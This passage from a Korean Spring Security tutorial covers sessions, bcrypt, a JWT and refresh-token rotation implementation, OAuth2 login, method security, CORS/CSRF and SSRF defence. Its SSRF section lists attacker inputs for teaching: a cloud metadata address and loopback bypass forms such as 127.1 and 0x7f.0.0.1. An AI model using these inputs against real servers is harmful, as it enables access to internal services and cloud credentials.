    public PasswordEncoder passwordEncoder() {
        return PasswordEncoderFactories.createDelegatingPasswordEncoder();  // bcrypt
    }

    @Bean
    public AuthenticationManager authenticationManager(
            AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
}
requestMatchers 는 순서가 중요합니다. 위에서부터 처음 매칭되는 규칙이 적용되므로, .anyRequest() 를 위에 두면 아래 규칙이 전부 무시됩니다. 구체적인 것 → 넓은 것 순서로 쓰세요.
SEC 03

폼 로그인 · 세션

서버가 화면까지 그리는 전통적인 웹이라면 이 방식이 여전히 가장 단순하고 안전합니다.

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    return http
        .authorizeHttpRequests(a -> a
            .requestMatchers("/", "/login", "/signup").permitAll()
            .anyRequest().authenticated())

        .formLogin(form -> form
            .loginPage("/login")                    // 내 로그인 화면
            .loginProcessingUrl("/login")           // 폼 action (필터가 가로챔)
            .usernameParameter("email")             // input name
            .passwordParameter("password")
            .defaultSuccessUrl("/", true)
            .failureUrl("/login?error")
        )

        .logout(out -> out
            .logoutUrl("/logout")
            .logoutSuccessUrl("/login?logout")
            .invalidateHttpSession(true)
            .deleteCookies("JSESSIONID")
        )

        .rememberMe(r -> r
            .key("고유한-비밀-키")
            .tokenValiditySeconds(60 * 60 * 24 * 14))   // 2주

        // Security 7 은 람다 중첩만 씁니다 — .and() 체이닝은 제거됐습니다
        .sessionManagement(s -> s
            .sessionFixation(f -> f.changeSessionId())   // 로그인 시 세션 ID 교체 ★
            .maximumSessions(1)                          // 동시 접속 1개
            .maxSessionsPreventsLogin(false))            // 새 로그인이 이전 것을 밀어냄
        .build();
}

세션 vs 토큰 — 무엇을 쓸까

세션JWT
저장 위치서버클라이언트
서버 확장공유 저장소 필요
(Redis)
자유로움
즉시 무효화가능어려움 (블랙리스트 필요)
보안비교적 안전탈취되면 만료까지 유효
적합서버 렌더링 웹SPA · 모바일 · MSA
# 세션을 Redis 에 저장하면 서버를 여러 대로 확장할 수 있습니다
# implementation("org.springframework.session:spring-session-data-redis")
spring:
  session:
    store-type: redis
    timeout: 30m
  data:
    redis:
      host: localhost
“요즘은 무조건 JWT”가 아닙니다. 서버가 화면을 렌더링하는 서비스라면 세션 + Redis 가 구현도 쉽고 강제 로그아웃이 되기 때문에 더 나은 선택인 경우가 많습니다.
세션은 서버가 기억하고, 브라우저는 열쇠만 듭니다 ① 로그인 요청 아이디 · 비밀번호 ② 서버가 세션 생성 사용자 정보를 서버에 보관 ③ Set-Cookie: JSESSIONID=… 브라우저가 이후 자동으로 실어 보냅니다 토큰과 다른 점 — 즉시 끊을 수 있습니다 로그아웃·강제 탈퇴가 서버에서 지우면 그 즉시 반영됩니다 사용자 정보를 서버가 들고 있어 브라우저에 노출되지 않습니다 사내 시스템·관리자 화면에 잘 맞습니다 서버가 여러 대면 각 서버가 자기 메모리에 세션을 들면 로그인이 풀립니다 → Redis 세션 저장소로 공유하거나 스티키 세션 Spring Session 을 붙이면 코드는 그대로 둘 수 있습니다 쿠키에는 HttpOnly · Secure · SameSite 를 반드시 붙입니다 — 스크립트가 못 읽고, HTTPS 로만 가고, 다른 사이트 요청에 안 실립니다 로그인 성공 시 세션 ID 를 새로 발급하세요(세션 고정 공격 방지) — Spring Security 는 기본으로 해 줍니다
브라우저 앱이면 세션이 편하고, 모바일·다중 서비스면 토큰이 유리합니다.
세션인가 토큰인가 — 마름모가 질문, 초록 상자가 답입니다 모바일 앱 · 다른 서비스도 부르는가? 예 토큰 (JWT) 서명만 검증 · 공유 불필요 아니오 서버가 여러 대로 늘어나는가? 예 세션 + Redis 공유 Spring Session · 코드 그대로 아니오 세션 (기본값) 설정할 것이 거의 없음 세션의 장점 서버에서 지우면 즉시 로그아웃 토큰의 대가 만료 전에 막으려면 저장소가 다시 필요합니다 어느 답이든 쿠키에는 HttpOnly · Secure · SameSite, 로그인 성공 시 세션 ID 새로 발급(고정 공격 방지) 사내 시스템 · 관리자 화면은 대개 맨 아래 칸에서 끝납니다
브라우저 앱이면 세션이 편하고, 모바일·다중 서비스면 토큰이 유리합니다.
SEC 04

사용자 · 비밀번호

인증의 실체는 “DB 에서 사용자를 찾아 비밀번호를 비교하는 것”입니다.

UserDetailsService 구현

@Service
@RequiredArgsConstructor
public class CustomUserDetailsService implements UserDetailsService {

    private final UserRepository userRepository;

    @Override
    @Transactional(readOnly = true)
    public UserDetails loadUserByUsername(String email) {
        User user = userRepository.findByEmail(email)
                .orElseThrow(() -> new UsernameNotFoundException("사용자 없음"));
        return new CustomUserDetails(user);
    }
}

@RequiredArgsConstructor
public class CustomUserDetails implements UserDetails {

    @Getter private final User user;

    @Override
    public Collection<? extends GrantedAuthority> getAuthorities() {
        return user.getRoles().stream()
                .map(r -> new SimpleGrantedAuthority("ROLE_" + r.name()))  // 접두사 ★
                .toList();
    }

    @Override public String getPassword() { return user.getPassword(); }
    @Override public String getUsername() { return user.getEmail(); }
    @Override public boolean isEnabled() { return user.isActive(); }
    @Override public boolean isAccountNonLocked() { return !user.isLocked(); }
}
ROLE_ 접두사 규칙 — hasRole("ADMIN") 은 내부적으로 ROLE_ADMIN 을 찾습니다. 권한을 만들 때 접두사를 붙여 저장하고, hasAuthority() 를 쓸 때는 전체 문자열을 씁니다.

비밀번호 — 절대 평문 저장 금지

@Bean
public PasswordEncoder passwordEncoder() {
    // {bcrypt}$2a$10$... 형태로 저장 — 나중에 알고리즘 교체가 가능합니다
    return PasswordEncoderFactories.createDelegatingPasswordEncoder();
}

// 회원가입
@Transactional
public void signup(SignupReq req) {
    if (userRepository.existsByEmail(req.email())) {
        throw new DuplicateEmailException(req.email());
    }
    User user = User.create(
            req.email(),
            passwordEncoder.encode(req.password()),   // ★ 반드시 인코딩
            req.name());
    userRepository.save(user);
}

// 비밀번호 확인 (직접 비교할 일이 있다면)
boolean ok = passwordEncoder.matches(rawPassword, user.getPassword());
  • ❌ 평문 저장 · MD5 · SHA-1 — 즉시 털립니다
  • ✅ bcrypt(기본) 또는 Argon2 — 느린 것이 목적입니다
  • ✅ 로그인 실패 횟수 제한과 계정 잠금
  • ✅ 로그에 비밀번호·토큰을 절대 남기지 않기
SEC 05

JWT 인증 — 전체 구현

SPA·모바일 앱의 표준 방식입니다. 필요한 조각을 전부 담았습니다.

implementation("io.jsonwebtoken:jjwt-api:0.13.0") · runtimeOnly("io.jsonwebtoken:jjwt-impl:0.13.0") · runtimeOnly("io.jsonwebtoken:jjwt-jackson:0.13.0")

① 토큰 발급·검증 컴포넌트

@Slf4j
@Component
public class JwtTokenProvider {

    private final SecretKey key;
    private final long accessExpMs;
    private final long refreshExpMs;

    public JwtTokenProvider(
            @Value("${jwt.secret}") String secret,          // 최소 32바이트 ★
            @Value("${jwt.access-exp-ms:1800000}") long accessExpMs,   // 30분
            @Value("${jwt.refresh-exp-ms:1209600000}") long refreshExpMs) { // 14일
        this.key = Keys.hmacShaKeyFor(secret.getBytes(StandardCharsets.UTF_8));
        this.accessExpMs = accessExpMs;
        this.refreshExpMs = refreshExpMs;
    }

    public String createAccessToken(Long userId, String email, List<String> roles) {
        Instant now = Instant.now();
        return Jwts.builder()
                .subject(String.valueOf(userId))
                .claim("email", email)
                .claim("roles", roles)
                .issuedAt(Date.from(now))
                .expiration(Date.from(now.plusMillis(accessExpMs)))
                .signWith(key)
                .compact();
    }

    public String createRefreshToken(Long userId) {
        Instant now = Instant.now();
        return Jwts.builder()
                .subject(String.valueOf(userId))
                .issuedAt(Date.from(now))
                .expiration(Date.from(now.plusMillis(refreshExpMs)))
                .signWith(key)
                .compact();
    }

    public Claims parse(String token) {          // 만료·위조면 예외
        return Jwts.parser().verifyWith(key).build()
                   .parseSignedClaims(token).getPayload();
    }

    public boolean validate(String token) {
        try {
            parse(token);
            return true;
        } catch (ExpiredJwtException e) {
            log.debug("만료된 토큰");
        } catch (JwtException | IllegalArgumentException e) {
            log.warn("잘못된 토큰: {}", e.getMessage());
        }
        return false;
    }
}

② 요청마다 토큰을 검사하는 필터

@Component
@RequiredArgsConstructor
public class JwtAuthenticationFilter extends OncePerRequestFilter {

    private final JwtTokenProvider tokenProvider;

    @Override
    protected void doFilterInternal(HttpServletRequest req,
                                    HttpServletResponse res,
                                    FilterChain chain) throws ServletException, IOException {
        String token = resolveToken(req);

        if (token != null && tokenProvider.validate(token)) {
            Claims claims = tokenProvider.parse(token);

            // 리프레시 토큰에는 roles 가 없습니다 — 액세스 토큰 자리에 오면 인증하지 않는다
            // (그냥 캐스팅하면 NPE 로 500 이 나고, 14일짜리 토큰이 API 열쇠가 될 뻔합니다)
            if (claims.get("roles") instanceof List<?> roles) {
                List<SimpleGrantedAuthority> authorities = roles.stream()
                        .map(r -> new SimpleGrantedAuthority(r.toString()))
                        .toList();

                var auth = new UsernamePasswordAuthenticationToken(
                        Long.valueOf(claims.getSubject()), null, authorities);
                auth.setDetails(new WebAuthenticationDetailsSource().buildDetails(req));

                SecurityContextHolder.getContext().setAuthentication(auth);
            }
        }
        chain.doFilter(req, res);      // ★ 실패해도 여기서 막지 말고 넘긴다
    }                                  //   최종 판단은 AuthorizationFilter 가 함

    private String resolveToken(HttpServletRequest req) {
        String bearer = req.getHeader(HttpHeaders.AUTHORIZATION);
        return (bearer != null && bearer.startsWith("Bearer "))
                ? bearer.substring(7) : null;
    }
}

③ 로그인·재발급 API

@RestController
@RequestMapping("/api/auth")
@RequiredArgsConstructor
public class AuthController {

    private final AuthService authService;

    @PostMapping("/login")
    public TokenRes login(@Valid @RequestBody LoginReq req) {
        return authService.login(req);
    }

    @PostMapping("/reissue")
    public TokenRes reissue(@RequestBody ReissueReq req) {
        return authService.reissue(req.refreshToken());
    }

    @PostMapping("/logout")
    public void logout(@AuthenticationPrincipal Long userId) {
        authService.logout(userId);      // Redis 에서 refresh 토큰 삭제
    }
}

@Service
@RequiredArgsConstructor
public class AuthService {

    private final AuthenticationManager authManager;
    private final JwtTokenProvider tokenProvider;
    private final RefreshTokenStore store;         // Redis

    public TokenRes login(LoginReq req) {
        // 여기서 UserDetailsService + PasswordEncoder 가 동작합니다
        Authentication auth = authManager.authenticate(
                new UsernamePasswordAuthenticationToken(req.email(), req.password()));

        var user = (CustomUserDetails) auth.getPrincipal();
        List<String> roles = auth.getAuthorities().stream()
                .map(GrantedAuthority::getAuthority).toList();

        String access = tokenProvider.createAccessToken(
                user.getUser().getId(), user.getUsername(), roles);
        String refresh = tokenProvider.createRefreshToken(user.getUser().getId());

        store.save(user.getUser().getId(), refresh);   // 재발급·강제 로그아웃용
        return new TokenRes(access, refresh, "Bearer", 1800);
    }
}

④ 실패 응답을 JSON 으로

// 필터에서 터진 예외는 @RestControllerAdvice 로 안 갑니다 ★
@Component
public class JwtAuthenticationEntryPoint implements AuthenticationEntryPoint {
    @Override
    public void commence(HttpServletRequest req, HttpServletResponse res,
                         AuthenticationException e) throws IOException {
        write(res, HttpStatus.UNAUTHORIZED, "A001", "인증이 필요합니다");
    }
}

@Component
public class JwtAccessDeniedHandler implements AccessDeniedHandler {
    @Override
    public void handle(HttpServletRequest req, HttpServletResponse res,
                       AccessDeniedException e) throws IOException {
        write(res, HttpStatus.FORBIDDEN, "A002", "권한이 없습니다");
    }
}

private static void write(HttpServletResponse res, HttpStatus status,
                          String code, String message) throws IOException {
    res.setStatus(status.value());
    res.setContentType(MediaType.APPLICATION_JSON_VALUE);
    res.setCharacterEncoding("UTF-8");
    res.getWriter().write("""
        {"code":"%s","message":"%s"}
        """.formatted(code, message));
}
JWT 운영 체크리스트
· 시크릿은 32바이트 이상 + 환경 변수로
· Access 토큰은 짧게(15~30분), Refresh 는 길게
· 민감 정보를 페이로드에 넣지 마세요 — 누구나 디코딩할 수 있습니다(암호화 아님)
· 강제 로그아웃이 필요하면 Refresh 토큰을 서버에 저장하고 삭제
· 토큰 저장은 httpOnly 쿠키가 localStorage 보다 XSS 에 안전합니다
로그인 후 한 시간 — 액세스는 15분마다, 리프레시는 쓸 때마다 바뀝니다 0분 15 30 45 60분 액세스 토큰 A1 · 15분 A2 A3 A4 리프레시 토큰 R1 (유효 14일) R2 R3 R4 → 계속 /auth/refresh R1 내고 A2+R2 받음 A2 탈취 30분에 만료 — 피해 창 최대 15분 R1 재사용 이미 쓴 표 → 탈취 감지 · 계열 폐기 리프레시 토큰은 서버(DB)에 저장합니다 — 그래야 강제 로그아웃과 재사용 감지가 됩니다 payload 는 누구나 읽습니다 — 비밀을 담지 말고, 저장은 httpOnly 쿠키에 서명 키는 설정 파일이 아니라 시크릿 저장소에 둡니다
JWT 를 쓰기로 했다면 리프레시 토큰 관리가 절반입니다.
SEC 06

OAuth2 소셜 로그인

구글·카카오·네이버 로그인. 스프링이 대부분을 대신해 줍니다.

implementation("org.springframework.boot:spring-boot-starter-security-oauth2-client")
Boot 3 의 spring-boot-starter-oauth2-client 가 개명된 이름입니다.
spring:
  security:
    oauth2:
      client:
        registration:
          google:
            client-id: ${GOOGLE_CLIENT_ID}
            client-secret: ${GOOGLE_CLIENT_SECRET}
            scope: profile, email
          kakao:                              # 국내 서비스는 직접 정의
            client-id: ${KAKAO_CLIENT_ID}
            client-authentication-method: client_secret_post
            authorization-grant-type: authorization_code
            redirect-uri: "{baseUrl}/login/oauth2/code/{registrationId}"
            scope: profile_nickname, account_email
        provider:
          kakao:
            authorization-uri: https://kauth.kakao.com/oauth/authorize
            token-uri: https://kauth.kakao.com/oauth/token
            user-info-uri: https://kapi.kakao.com/v2/user/me
            user-name-attribute: id
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    return http
        .oauth2Login(oauth -> oauth
            .userInfoEndpoint(u -> u.userService(customOAuth2UserService))
            .successHandler(oauth2SuccessHandler))   // JWT 발급 후 리다이렉트
        .build();
}

@Service
@RequiredArgsConstructor
public class CustomOAuth2UserService extends DefaultOAuth2UserService {

    private final UserRepository userRepository;

    @Override
    @Transactional          // 없으면 updateOAuthInfo() 의 변경이 DB 에 반영되지 않습니다
    public OAuth2User loadUser(OAuth2UserRequest req) {
        OAuth2User oAuth2User = super.loadUser(req);
        String provider = req.getClientRegistration().getRegistrationId();

        OAuthAttributes attrs = OAuthAttributes.of(provider, oAuth2User.getAttributes());

        // 있으면 갱신, 없으면 가입 (자동 회원가입)
        // 이메일이 아니라 (제공자, 제공자 고유 ID) 로 찾습니다 — 이메일은 바뀔 수 있습니다
        User user = userRepository.findByProviderAndProviderId(provider, attrs.providerId())
                .map(u -> u.updateOAuthInfo(attrs.name()))
                .orElseGet(() -> userRepository.save(attrs.toEntity()));

        return new CustomOAuth2User(user, oAuth2User.getAttributes());
    }
}
SPA 와 함께 쓸 때 — 소셜 로그인 성공 후 successHandler 에서 JWT 를 만들어 프론트엔드 URL 로 리다이렉트하면서 토큰을 전달하는 방식이 일반적입니다.
기존 계정과 이메일이 같을 때 어떻게 합칠지를 미리 정해 두지 않으면 나중에 데이터가 꼬입니다.
비밀번호를 받지 않고 '동의'만 받아 옵니다 사용자 ① 로그인 클릭 제공자 동의 화면 구글 · 카카오 ② 코드 우리 서버 (redirect-uri) 일회용 코드를 받습니다 ③ 코드 + client-secret → 토큰 교환 서버끼리 직접 통신합니다 ④ 사용자 정보 조회 이메일 · 고유 ID 우리 계정과 잇는 지점 제공자 고유 ID 로 기존 회원을 찾고, 없으면 만듭니다 이메일로만 찾으면 위험합니다 — 이메일은 바뀔 수 있습니다 그 뒤로는 우리 세션이나 우리 토큰을 발급합니다 반드시 지킬 것 client-secret 은 서버에만 — 앱·프런트에 넣지 마세요 state 파라미터로 위조 요청을 막습니다(CSRF) redirect-uri 는 제공자 콘솔에 등록된 것과 정확히 같아야
Spring Security 는 이 흐름을 설정 몇 줄로 처리해 줍니다 — 원리를 알면 오류를 읽을 수 있습니다.
세로가 시간 — 비밀번호는 제공자만 보고, 우리는 코드만 받습니다 브라우저 우리 서버 제공자 인증 제공자 API 1. 로그인 클릭 2. 302 → 동의 화면 (+state) 3. 제공자에 로그인 · 동의 — 비밀번호는 여기서만 4. 302 → redirect-uri?code=…&state=… 5. 코드 전달 6. 코드 + client-secret → 토큰 7. 사용자 정보 조회 (이메일 · 고유 ID) 8. 우리 세션 쿠키 — 계정 연결 6 · 7 은 서버끼리의 백채널 — client-secret 이 브라우저에 나타나지 않습니다 2 에서 보낸 state 가 4 로 그대로 돌아와야 합니다 — 다르면 위조 요청(CSRF)입니다
Spring Security 는 이 흐름을 설정 몇 줄로 처리해 줍니다 — 원리를 알면 오류를 읽을 수 있습니다.
SEC 07

권한 · 메서드 시큐리티

URL 단위로 막을 수 없는 것들 — “자기 글만 수정 가능” 같은 규칙을 다룹니다.

@Configuration
@EnableMethodSecurity          // 켜기 (기본으로 @PreAuthorize 활성화)
public class MethodSecurityConfig { }

@Service
public class OrderService {

    @PreAuthorize("hasRole('ADMIN')")
    public void deleteAll() { }

    @PreAuthorize("hasAnyRole('USER', 'ADMIN')")
    public List<Order> list() { }

    // 파라미터를 조건에 쓸 수 있다 ★
    @PreAuthorize("#userId == authentication.principal")
    public UserRes getMyInfo(Long userId) { }

    // 반환값을 검사 (실행 후)
    @PostAuthorize("returnObject.userId == authentication.principal")
    public OrderRes get(Long id) { }

    // 복합 조건
    @PreAuthorize("hasRole('ADMIN') or #order.userId == authentication.principal")
    public void update(OrderUpdateReq order) { }

    // 커스텀 빈의 메서드를 호출할 수도 있습니다
    @PreAuthorize("@orderPermission.canEdit(#id, authentication)")
    public void edit(Long id) { }
}

@Component("orderPermission")
@RequiredArgsConstructor
public class OrderPermissionEvaluator {
    private final OrderRepository repository;

    public boolean canEdit(Long orderId, Authentication auth) {
        return repository.findById(orderId)
                .map(o -> o.getUserId().equals(auth.getPrincipal()))
                .orElse(false);
    }
}

권한 설계 — Role vs Authority

// Role — 역할 (굵은 단위)
ROLE_USER, ROLE_ADMIN, ROLE_MANAGER
hasRole("ADMIN")            // ROLE_ 자동 부착

// Authority — 세부 권한 (권장 ★)
order:read, order:write, order:delete
hasAuthority("order:write")

// 실무에서는 Role 에 Authority 를 묶습니다
//   ROLE_ADMIN   -> order:*, user:*
//   ROLE_MANAGER -> order:read, order:write
//   ROLE_USER    -> order:read
// 계층 구조 — ADMIN 이면 USER 권한도 자동으로
@Bean
public RoleHierarchy roleHierarchy() {
    return RoleHierarchyImpl.withDefaultRolePrefix()
            .role("ADMIN").implies("MANAGER")
            .role("MANAGER").implies("USER")
            .build();
}
가장 흔한 보안 구멍 — “URL 은 막았는데 남의 데이터에 접근할 수 있는 경우”입니다. GET /api/orders/1 이 인증만 확인하고 그 주문이 내 것인지 확인하지 않으면 아무나 남의 주문을 볼 수 있습니다. 조회 쿼리에 userId 조건을 넣는 것이 가장 확실합니다.
권한 검사는 세 층에서 — 안쪽으로 갈수록 세밀해집니다 경로 규칙 메서드 소유권 검사 ① 경로 규칙 — /admin/** 은 ADMIN 만 URL 단위 큰 틀 · 좁은 규칙부터 적습니다 ② @PreAuthorize — 서비스 메서드 단위 어디서 불려도 같은 규칙이 걸립니다 ③ 이 주문이 이 사용자 것인가 역할로는 표현 못 합니다 — 조회 후 비교 안쪽 원을 빠뜨리면 URL 의 번호만 바꿔 남의 데이터를 보는 취약점이 됩니다 흔한 조합 — 경로 규칙으로 큰 틀을 잡고, 소유권은 서비스 안에서 확인합니다 권한이 복잡해지면 역할 대신 권한 항목(permission) 단위로 설계하는 편이 오래갑니다
인증은 누구인가, 인가는 이걸 해도 되는가 — 둘은 다른 질문입니다.
SEC 08

CORS · CSRF

프론트엔드를 붙일 때 가장 먼저 만나는 벽입니다.

CORS — 다른 출처에서의 요청 허용

@Bean
public CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();

    // ⚠️ 와일드카드 "*" 는 credentials 와 함께 쓸 수 없습니다
    config.setAllowedOrigins(List.of(
            "http://localhost:3000",
            "https://myapp.com"));
    config.setAllowedMethods(List.of("GET","POST","PUT","PATCH","DELETE","OPTIONS"));
    config.setAllowedHeaders(List.of("*"));
    config.setExposedHeaders(List.of("Authorization"));   // 프론트가 읽을 수 있게
    config.setAllowCredentials(true);                     // 쿠키 전송 허용
    config.setMaxAge(3600L);                              // preflight 캐시

    var source = new UrlBasedCorsConfigurationSource();
    source.registerCorsConfiguration("/api/**", config);
    return source;
}

// SecurityFilterChain 에 연결
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
CORS 에러는 서버 에러가 아닙니다 — 브라우저가 응답을 받고 나서 막는 것입니다. 서버 로그에는 정상 200 이 찍힙니다. OPTIONS(preflight) 요청이 인증 없이 통과되는지 꼭 확인하세요.

CSRF — 언제 켜고 언제 끄나

방식CSRF
세션 + 쿠키 (서버 렌더링)반드시 켜기
JWT (Authorization 헤더)꺼도 됨 — 쿠키가 자동 전송되지 않으므로
JWT 를 쿠키에 저장켜야 합니다
// 켜는 경우 (SPA + 쿠키)
// withHttpOnlyFalse() 만 바꾸면 안 됩니다 — 6.0 부터 기본 처리기가 토큰을 XOR 마스킹하고
// 쿠키도 지연 발급이라, 프런트가 쿠키 값을 그대로 헤더에 실으면 403 이 납니다.
// spa() 가 XSRF-TOKEN 쿠키 발급 + X-XSRF-TOKEN 헤더 검증을 한 번에 맞춰 줍니다
.csrf(csrf -> csrf
    .spa()
    .ignoringRequestMatchers("/api/webhook/**"))    // 외부 웹훅은 제외

// 끄는 경우 (JWT 헤더 방식)
.csrf(AbstractHttpConfigurer::disable)

보안 헤더

.headers(h -> h
    .contentSecurityPolicy(c -> c.policyDirectives(
            "default-src 'self'; script-src 'self'"))
    .frameOptions(f -> f.sameOrigin())          // 클릭재킹 방지
    .httpStrictTransportSecurity(hsts -> hsts
            .maxAgeInSeconds(31536000)
            .includeSubDomains(true)))

SSRF 방어 — InetAddressFilter Boot 4.1

SSRF(Server-Side Request Forgery)는 “사용자가 준 URL 로 서버가 대신 요청하게” 만드는 공격입니다. 썸네일 생성·웹훅 등록·이미지 프록시처럼 URL 을 입력으로 받는 기능이 있으면 노출됩니다. 공격자는 http://169.254.169.254/…(클라우드 메타데이터)나 http://127.0.0.1:8500 같은 내부 주소를 넣습니다 — 방화벽 바깥에서는 못 닿지만 내 서버는 닿기 때문에 뚫립니다.

// org.springframework.boot.http.client.InetAddressFilter
// 빈으로 하나만 올려 두면 자동 설정된 RestClient·WebClient 전부에 적용됩니다
@Configuration
public class HttpClientConfig {

    // ① 가장 단순한 형태 — "외부(라우팅 가능) 주소로만 나간다"
    //    루프백 127.0.0.0/8 · ::1, 사설 10/8 · 172.16/12 · 192.168/16,
    //    IPv6 ULA fc00::/7 이 전부 막힙니다
    @Bean
    public InetAddressFilter inetAddressFilter() {
        return InetAddressFilter.externalAddresses();
    }

    // ② 내부 API 서버 하나만 예외로 열어야 한다면 조합해서 씁니다
    //    (and / or / andNot / negate 로 필터를 이어 붙일 수 있습니다)
    // return InetAddressFilter.externalAddresses().or("10.0.5.20");
}

// 막힌 주소로 요청하면 네트워크로 나가기 전에 FilteredHostException 이 납니다
문자열로 URL 을 검사하는 방어는 거의 다 뚫립니다. http://127.0.0.1 만 막아도 http://127.1·http://0x7f.0.0.1·http://localtest.me (공인 DNS 인데 127.0.0.1 로 해석) 로 우회됩니다. 이름이 아니라 해석된 IP 를 대역 단위로 막아야 합니다 — InetAddressFilter 가 DNS 해석 결과를 기준으로 판정하는 이유입니다.
가능하면 허용 목록(allowlist) 이 원칙입니다.
CORS 와 CSRF — 이름만 비슷하고 화살표 방향이 반대입니다 CORS — 내 페이지가 밖을 부를 때 CSRF — 남의 페이지가 나를 부를 때 브라우저 a.com 페이지 API 서버 b.com ① 이 출처 허락하나? (OPTIONS) ② Allow-Origin: a.com 이면 통과 막는 주체는 브라우저 — curl · 서버 간 호출엔 없음 CORS 에러 뒤에 500 이 숨어 있기도 — 네트워크 탭 악성 페이지 evil.com 우리 서버 세션 인증 POST /transfer + 쿠키 자동 첨부 사용자 브라우저가 대신 보냅니다 막는 법 — CSRF 토큰 · SameSite 쿠키 상태를 바꾸는 요청을 GET 으로 두지 않기 헤더(Authorization)로 인증하면 자동 첨부 없음 판단 기준은 하나 — 쿠키로 인증하는가, 헤더로 인증하는가 "CSRF 를 그냥 끄세요" 전에 쿠키를 쓰고 있는지 먼저 확인하세요 CORS 에서 출처에 * 를 쓰면 쿠키를 함께 보낼 수 없습니다 — 허용 출처를 명시
두 설정을 같은 서랍에 두지 마세요 — 푸는 문제가 다릅니다.
SEC 09

WebFlux 시큐리티

개념은 같고 클래스 이름 앞에 Server·Reactive 가 붙습니다.

@Configuration
@EnableWebFluxSecurity                       // @EnableWebSecurity 가 아님
@RequiredArgsConstructor
public class ReactiveSecurityConfig {

    private final JwtTokenProvider tokenProvider;

    @Bean
    public SecurityWebFilterChain filterChain(ServerHttpSecurity http) {
        return http
            .csrf(ServerHttpSecurity.CsrfSpec::disable)
            .authorizeExchange(ex -> ex                     // authorizeHttpRequests 아님
                .pathMatchers("/api/auth/**").permitAll()
                .pathMatchers("/api/admin/**").hasRole("ADMIN")
                .anyExchange().authenticated())
            .addFilterAt(jwtWebFilter(), SecurityWebFiltersOrder.AUTHENTICATION)
            .exceptionHandling(e -> e
                .authenticationEntryPoint((exchange, ex) -> {
                    exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                    return exchange.getResponse().setComplete();
                }))
            .build();
    }

    private WebFilter jwtWebFilter() {
        return (exchange, chain) -> {
            String token = resolve(exchange.getRequest());
            if (token == null || !tokenProvider.validate(token)) {
                return chain.filter(exchange);
            }
            Claims claims = tokenProvider.parse(token);
            var auth = new UsernamePasswordAuthenticationToken(
                    claims.getSubject(), null, authorities(claims));

            return chain.filter(exchange)
                    .contextWrite(ReactiveSecurityContextHolder
                            .withAuthentication(auth));      // ThreadLocal 이 아니라 컨텍스트 ★
        };
    }
}

// 현재 사용자 꺼내기 — 리액티브 방식
public Mono<UserRes> me() {
    return ReactiveSecurityContextHolder.getContext()
            .map(ctx -> ctx.getAuthentication().getName())
            .flatMap(userService::findByName);
}
핵심 차이 — MVC 는 SecurityContextHolder(ThreadLocal)를 쓰지만 WebFlux 는 스레드가 계속 바뀌므로 리액티브 컨텍스트에 담습니다. SecurityContextHolder.getContext() 를 그대로 쓰면 null 이 나옵니다.
SEC 10

자주 하는 실수

보안 사고는 대부분 화려한 공격이 아니라 기본을 빠뜨려서 납니다.

증상 · 실수원인해결
모든 요청이 401필터가 등록 안 됨 / 순서가 틀림addFilterBefore(...UsernamePasswordAuthenticationFilter.class)
403 인데 권한은 맞음ROLE_ 접두사 누락hasRole("ADMIN") ↔ 저장은 ROLE_ADMIN
필터 예외가 안 잡힘@RestControllerAdvice 는 필터 밖AuthenticationEntryPoint 로 직접 응답
CORS 는 설정했는데 계속 막힘preflight(OPTIONS)가 인증에 막힘OPTIONS 를 permitAll, .cors() 등록 확인
POST 만 403CSRF 가 켜져 있음REST API 면 csrf.disable()
남의 데이터가 조회됨인증만 하고 소유권 검사 없음쿼리에 userId 조건 추가
비밀번호가 그대로 보임encode() 누락저장 전 passwordEncoder.encode()
토큰 만료가 안 됨클라이언트가 계속 보관Refresh 토큰을 서버에 저장 후 삭제로 무효화
로그에 토큰이 찍힘요청 헤더 전체 로깅Authorization 헤더 마스킹
h2-console 이 안 열림frameOptions 차단개발 프로파일에서만 frameOptions.sameOrigin()
배포 전 최소 점검 — ① 비밀번호·시크릿이 코드에 없는지 ② Actuator 가 외부에 안 열려 있는지 ③ 에러 응답에 스택 트레이스·SQL 이 안 나가는지 ④ HTTPS 강제 ⑤ 관리자 API 에 권한 검사가 실제로 걸려 있는지 (테스트로 확인) ⑥ 업로드 파일의 확장자·크기 검증
SECURITY 11

로그인 유지 — 리프레시 토큰 · 다중 기기

“로그인 상태가 왜 자꾸 풀려요?” 와 “토큰이 털렸는데 못 막아요” 는 같은 설계에서 나옵니다. 실서비스가 쓰는 로테이션 + 기기별 세션 구조를 만듭니다.

액세스 토큰 15분 · 무상태 검증 리프레시 토큰 14일 · DB 저장 /auth/refresh 기기별 계열(family) 확인 정상 — 새 토큰 발급 옛 토큰은 즉시 폐기 이미 쓴 토큰이 또 왔다 탈취 판정 → 계열 전체 폐기
리프레시 토큰은 한 번만 쓸 수 있는 표입니다. 같은 표가 두 번 오면 둘 중 하나는 도둑입니다.

토큰 계열(family) 저장

@Entity @Table(name = "refresh_token",
       indexes = @Index(columnList = "familyId"))
public class RefreshToken {
    @Id private String id;              // jti
    private String familyId;            // 기기 하나 = 계열 하나
    private Long   userId;

    private String tokenHash;           // ★ 원문을 저장하지 않는다
    private Instant expiresAt;
    private Instant usedAt;             // 사용되면 시각을 남긴다
    private boolean revoked;

    // 관리 화면 · '내 기기 목록'에 쓰인다
    private String deviceLabel;         // "Chrome · Windows"
    private String ip;
    private Instant lastSeenAt;
}
// 재사용을 감지해 계열을 폐기한 뒤 예외를 던지므로, 그 예외로 폐기까지 롤백되면 안 됩니다
@Transactional(noRollbackFor = BadCredentialsException.class)
public TokenPair refresh(String raw) {
    String hash = sha256(raw);
    // @Lock(PESSIMISTIC_WRITE) 조회 — 같은 토큰으로 두 요청이 동시에 오면
    // 둘 다 usedAt == null 을 보고 통과하는 레이스를 행 잠금으로 막는다
    RefreshToken t = repo.findByTokenHashForUpdate(hash)
        .orElseThrow(() -> new BadCredentialsException("unknown token"));

    // ① 이미 쓴 토큰이 다시 왔다 = 어딘가에서 복제됐다
    if (t.getUsedAt() != null || t.isRevoked()) {
        repo.revokeFamily(t.getFamilyId());          // 그 기기 전체를 끊는다
        alarm.suspiciousReuse(t.getUserId(), t.getFamilyId());
        throw new BadCredentialsException("token reuse detected");
    }
    if (t.getExpiresAt().isBefore(Instant.now()))
        throw new CredentialsExpiredException("expired");

